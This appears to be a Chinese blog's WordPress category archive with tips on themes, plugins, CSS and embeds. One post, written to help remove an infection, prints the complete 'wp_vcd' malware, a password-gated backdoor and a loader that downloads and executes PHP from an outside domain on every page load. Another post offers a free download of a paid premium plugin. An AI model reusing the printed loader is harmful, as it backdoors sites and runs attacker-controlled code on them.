分类目录归档:Wordpress

Wordpress 2012

Twenty Twelve主题删除首页和文章页的特色图像、添加分页功能

以前用过wordpress自带的官方主题2012(Twenty Twelve主题),我发现很多大佬都特别喜欢这款主题,简洁、自适应、seo优化、代码简单(虽然我不懂代码),比如土木毯子佐仔志的博客都用的这款2012主题。修改主题我是不会啦,遇到一个小问题就是如何删除首页和文章页的特色图像,最笨的方法就是不上传特色图像,但是以前的特色图像存在就有点麻烦啦,有人说推荐一款插件,但我发现这插件在2012主题上不起作用,于是就Google了一下,这个方法很凑效。

如下:

如果在帖子中设置了特色图片,WordPress主题会在帖子内容的顶部和主页显示一个大的“特色图片”。

要从此区域删除“特色图片”,则需要在CSS中对其进行修改或编辑content.php文件(在子主题下工作)转到第20行-24行删除掉;

如果您将博客页面设置为主页以外的页面,则还需要对content-page.php文件进行相同的编辑,以删除第14行上的特色图像

内容页面模板特征图像

此事结束了。

另外有件事,2012主题的分页是官方的,即便是安装了插件:不起作用,那么很简单的办法,就是如下:

找到主题文件functions.php中的:

<h3 class="assistive-text"><?php _e( 'Post navigation', 'twentytwelve' ); ?></h3>
<div class="nav-previous alignleft"><?php next_posts_link( __( '<span class="meta-nav">&larr;</span> Older posts', 'twentytwelve' ) ); ?></div>
<div class="nav-next alignright"><?php previous_posts_link( __( 'Newer posts <span class="meta-nav">&rarr;</span>', 'twentytwelve' ) ); ?></div>

用以下代码替换:

1
<?php if(function_exists('wp_pagenavi')) { wp_pagenavi(); } ?>

此事也结束了。

Dx Watermark

WordPress 给图片自动加水印插件 DX-watermark

图片加水印为了防止被同行或者其他网站盗图,造成网站的流量损失,虽然现在虚拟主机或者vps都有防盗链的功能,但有时候把图片上打上专属的博客名字水印,看起来更专业更有版权意识。ps:中国人的版权意识在慢慢提高中,但也不乏有些流氓会把你图片抹掉水印变成自己的,赤裸裸的盗用也不会给你加来源。

我的博客主要是旅游攻略方面的,所以图片比较多,这些图片都是我自己辛苦拍摄的,(上传博客已经被压缩了,原图我有存档哦)所以一定要加水印,主要目的是防止盗链,其实在电脑上也可以手动ps,但过于麻烦,不如交给插件自动处理,这个插件就是:DX-watermark (这是中国人自己开发的插件),这款插件虽然是10年前,跟不上时代了,但是亲测wordpress最新版本仍然正常使用。这一点很意外,插件开发者的网站早就无法访问了。

插件使用起来很简单,只有几个步骤设置好之后就可以了。

1.在后台插件搜索:DX-watermark 后安装

插件主页:DX-watermark

2.简单设置一下基本参数,基本不用动。

可以使用类型文本和图片,建议使用文本,图片可能有bug,毕竟7年没有更新了。

文本内容填写你要显示的内容,参考本页图片的水印哦~

3.保存更改,在保存之前上面有个点击预览,可以在下方的刘亦菲图片上预览,可以简单做调整。


文字示范
图片水印示范

 

此插件简单好用,可以很简单的给上传的图片加一个水印,很简单很简单,一点不复杂。

插件的作者已经消失匿迹了。

这个作者还开放了一个DA-SEO插件,也同样非常好用,功能很齐全,中文页面,对中文博客特别友好,比那些yoast seo外国的好很多。

 Generatepress

GeneratePress主题高级gp-premium_v2.1.2免费下载

本站使用的是 GeneratePress 主题,主题在 WordPress 后台主题就可以下载,但是如果想要更加高级的功能,官方出了一个插件,注意是插件,并不是 主题 pro,所以下载的高级插件需要上传至插件,而不是主题。

高级插件与原版主题多了哪些功能呢?

1.文章顶部可以隐藏缩略图,免费版显示。

2.可以更改小工具、内容的边距。

3.可以添加各类的钩子元素,就是 diy 比较强啦。比如你可以使用钩子创建一个个人信息放置到文章结尾。

4.更改页脚的版权信息。

5.有模版库,可以套主题,但不适用国内的企业网站。

总体来说,高级版就是上面几个用处,用处看似不是很大,如果会代码的话,不用高级版也可以实现。可怕的是,官方高级插件售价 250 美元。

GeneratePress 最大的优点是响应式很轻量,很顺滑, seo 也有的,不过是针对谷歌开发的,因为是国外主题。

下载地址 提取码: ning

担心文件有病毒?可以用 这个网站 监测一下

[solved] Breadcrumb NavXT: Disable showing on homepage

我用的是 catch box 主题,安装插件开启后,自动显示,但是不想让主页显示,在 Breadcrumb NavXT 插件作者论坛找了很久都没有找到解决方法,于是就去 catch box 主题作者询问,给了如下代码,轻松解决,转到主题自定义——添加CSS:

/* Disable showing on homepage */ 
.home .breadcrumbs.breadcrumbnavxt {
display: none;
}

Breadcrumb NavXT 是Wordpress上最简单也是最好用的面包屑插件,为什么wordpress官方不出个面包屑呢?真是奇怪!也许面包屑已经被神话了?但是在Google搜索,面包屑很有作用,但是百度就么有那么重要了。

2个步骤在wordpress插入自适应B站视频

b站的视频(哔哩哔哩)可以分享出网址和html代码,但是最新版的wordpress古腾堡并没有特别照顾到B站视频,所以当插入B站视频的时候会只有一个小画框,一个播放按钮而已,丝毫没有YouTube的那么顺滑,不过这些都可以通过代码实现,目前网上有2种方法可以选择,以下是教程:

第一种:

将以下代码复制即可,然后在结尾</iframe>前加入下面代码:

style="width: 100%; height: 500px; max-width: 100%;align:center; padding:20px0;"

 

就形成这样的代码形式:红色字是添加的代码部分

<iframe src="//player.bilibili.com/player.html?aid=797822790&amp;bvid=BV1My4y167k3&amp;cid=257482881&amp;page=1" frameborder="no" scrolling="no" allowfullscreen="allowfullscreen">style="width: 100%; height: 500px; max-width: 100%;align:center; padding:20px0;"</iframe>

 

第二种:

首先在自定义主题,粘帖CSS代码并点击发布进行发布。 代码如下:

iframe{width:100%!important;height:600px!important;}

然后再复制B站分享的的html格式插入文章中,一劳永逸,以后在文章中插入B站视频自动自适应。

以上就是2种在wordpress插入自适应B站视频的方法,建议选择第二种方法,简简单单,你学会了吗?

wordpress被植入广告跳转deloplen.com的终极解决方法

前段时间,折腾主题,就在外国wordpress主题网站下载了一些需要收费的,免费主题,不料,感染了恶意代码,恶意代码就是一些广告,植入在你的主题:functions.php里开头部分,当访客访问你的网站,会弹窗出来一个广告页面跳转到这个网址:deloplen.com 起先我以为是插件的问题,中文搜索,并没有找到源头,于是就谷歌翻译,上外网找到了答案,深受其害的不止我一个人。

通常被感染的主题的functions.php安装如下代码:这个时候ctrl+f 搜索关键字:“ wp_vcd”或“ wp-tmp”删除掉这段代码,保存。

惡意代碼如下:

<?php

if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '220c580cc80d7d449f04533fc8f68c79'))
    {
    $div_code_name = "wp_vcd";
    switch ($_REQUEST['action'])
        {
    case 'change_domain';
    if (isset($_REQUEST['newdomain']))
        {
        if (!empty($_REQUEST['newdomain']))
            {
            if ($file = @file_get_contents(__FILE__))
                {
                if (preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code9\.php/i', $file, $matcholddomain))
                    {
                    $file = preg_replace('/' . $matcholddomain[1][0] . '/i', $_REQUEST['newdomain'], $file);
                    @file_put_contents(__FILE__, $file);
                    print "true";
                    }
                }
            }
        }

    break;

default:
    print "ERROR_WP_ACTION WP_V_CD WP_CD";
    }

die("");
}

if (!function_exists('theme_temp_setup'))
    {
    $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
    if (!is_404() && stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false)
        {
        if ($tmpcontent = @file_get_contents("http://www.dolsh.com/code9.php?i=" . $path))
            {
            function theme_temp_setup($phpCode)
                {
                $tmpfname = tempnam(sys_get_temp_dir() , "theme_temp_setup");
                $handle = fopen($tmpfname, "w+");
                fwrite($handle, "<?php\n" . $phpCode);
                fclose($handle);
                include $tmpfname;

                unlink($tmpfname);
                return get_defined_vars();
                }

            extract(theme_temp_setup($tmpcontent));
            }
        }
    }

?>

如果你再刷新,这段代码仍在这里面,这说明,wordpress程序其他文件也被感染了,最好的方法就是:更新更新更新,点仪盘表更新,覆盖旧文件。

终极解决方案,亲测有效:无需进行大量此类更改,只需执行以下两个步骤>>

1>仪表板>更新>“立即重新安装”
这将重新安装WordPress的最新版本,覆盖受感染的wp核心文件。

2>现在,在编辑器中打开theme functions.php文件,并删除恶意代码段,(活动主题中,编辑您的functions.php文件,并删除恶意软件插入的所有其他代码。您可以搜索“ wp_vcd”或“ wp-tmp”字样以找到代码。然后单击保存。)

全部做完!这次它将接受文件更改,以从functions.php文件中删除受感染的代码。

有用的链接:https://stackoverflow.com/questions/46219263/php-code-in-functions-php-of-all-wordpress-websites-on-my-shared-hosting

检测主题是否有病毒的网站:知乎汇总

最后告诉大家,千万不要尝试去下载来路不明的主题了,谁知道里面被植入了什么病毒插件啥的。

WordPress 在文章开头结尾插入广告(非插件简单方法)

其实很简单,跟直接在主题文件 single.php 里面添加差不多,不同的是这里说的方法是用 WordPress 自带的 add_filter 函数实现,直接在主题文件 functions.php 添加,也方便以后换主题时不用研究主题结构直接 CP 到新主题的 functions.php 即可。

那么下面啰嗦一下方法,虽然非常简单,但还是需要有一点基础知识,因为我遇到过连文本编辑器都不会用的朋友。

打开主题的 functions.php,插入以下代码:(注意要放在<?php … ?>里面)

function insertAD($content) {
	if(is_single()) {
		$html = '<p class="top-ad">广告代码/图片广告链接</p>';//文章开头广告
		$content = $html . $content;
		$content.= '<p class="bottom-ad">广告代码2/图片广告链接</p>';//文章结尾广告
	}
	return $content;
}
add_filter ('the_content', 'insertAD');

将文字部分改为广告代码或者图片链接即可!本文转载于:https://zww.me/archives/25167